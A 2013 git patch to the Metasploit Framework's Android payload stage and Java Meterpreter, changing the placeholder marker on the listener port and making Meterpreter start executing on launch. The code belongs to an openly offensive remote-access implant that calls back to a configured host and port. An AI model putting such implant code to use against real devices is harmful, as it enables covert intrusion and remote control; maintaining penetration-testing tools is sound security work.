From cbdda49ed78741bcd119e8e0abb7603e4133f172 Mon Sep 17 00:00:00 2001
From: timwr <timrlw@gmail.com>
Date: Thu, 18 Apr 2013 10:24:50 +0100
Subject: [PATCH] fix obvious breakage

---
 .../app/src/com/metasploit/stage/MainActivity.java             | 2 +-
 .../src/main/java/com/metasploit/meterpreter/Meterpreter.java  | 3 +++
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/java/androidpayload/app/src/com/metasploit/stage/MainActivity.java b/java/androidpayload/app/src/com/metasploit/stage/MainActivity.java
index 337a1811..dbca9b02 100644
--- a/java/androidpayload/app/src/com/metasploit/stage/MainActivity.java
+++ b/java/androidpayload/app/src/com/metasploit/stage/MainActivity.java
@@ -15,7 +15,7 @@ public class MainActivity extends Activity
 {
     // avoid re-ordering the strings in classes.dex - append XXXX
     private static final String LHOST = "XXXX127.0.0.1                       ";
-    private static final String LPORT = "XXXX4444                            ";
+    private static final String LPORT = "YYYY4444                            ";
 	
     @Override
     public void onCreate(Bundle savedInstanceState)
diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
index 01f9898c..5916d73c 100644
--- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
+++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java
@@ -86,6 +86,9 @@ public class Meterpreter {
 			errBuffer = null;
 			err = System.err;
 		}
+		if (beginExecution) {
+			startExecuting();
+		}
 	}
 	
 	public void startExecuting() throws Exception {